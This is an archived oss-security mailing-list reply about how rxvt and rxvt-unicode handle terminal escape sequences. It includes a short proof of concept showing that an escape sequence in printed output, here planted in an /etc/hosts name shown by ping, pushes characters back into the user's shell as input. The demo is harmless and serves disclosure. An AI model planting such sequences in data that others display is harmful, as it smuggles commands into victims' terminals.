Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 17 May 2017 12:51:57 +0200
From: Robert Święcki <robert@...ecki.net>
To: oss-security@...ts.openwall.com
Cc: "Jason A. Donenfeld" <Jason@...c4.com>, rxvt-unicode@...ts.schmorp.de, rxvt@...morp.de
Subject: Re: terminal emulators' processing of escape sequences

Hi,

>> > On Tue, May 02, 2017 at 12:05:27AM +0200, Robert ??wi??cki wrote:
>> >> A harmless example from rxvt - pushing back the new-line character:
>> >>
>> >> $ echo -ne "\eGQ;"
>> >> ;$ 0
>> >> bash: 0: command not found
>> >
>> > Does this also affect rxvt-unicode?
>>
>> It does, actually. I've CCd rxvt-unicode upstream on this in order to
>> hear their assessment.
>
> There can't be an assessment without knowledge of what to assess - there
> is little to no information in your mail. I can only guess that somebody
> for the hundredth time found out that terminals are more than dumb
> display devices and got excited that, somehow, this might be a security
> issue. Without knowing details, I can't say for sure, but most likely,
> this is a security issue the same way blindly feeding unknown commands to
> your shell is,

Given that arbitrary data can be pushed to terminal emulators via
seemingly harmless commands (like ping, whois) that people rather
trust to be robust enough to intetract with arbitrary whois or DNS
servers, this might be some problem.

Please consider the following example:

$ tail -n1 /etc/hosts | xxd
00000000: 3132 372e 302e 302e 3309 1b47 513b 205a  127.0.0.3..GQ; Z
00000010: 5a5a 0a                                  ZZ.
$ ping ZZZ
PING ; (127.0.0.3) 56(84) bytes of data.
^[G0
64 bytes from ; (127.0.0.3): icmp_seq=1 ttl=64 time=0.039 ms
^[G0
64 bytes from ; (127.0.0.3): icmp_seq=2 ttl=64 time=0.032 ms
^[G0
^C
--- ; ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1014ms
rtt min/avg/max/mdev = 0.032/0.035/0.039/0.006 ms
^[G0
$ 0
bash: 0: command not found

I'm not sure if this works with real reverse DNS look-ups, but with
/etc/hosts it seems so.

> i.e., it's a problem somewhere else - the protocol between
> terminals and programs is not a (strong) security barrier.
>
> (your echo command is bash-specific, btw.)

-- 
Robert Święcki

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ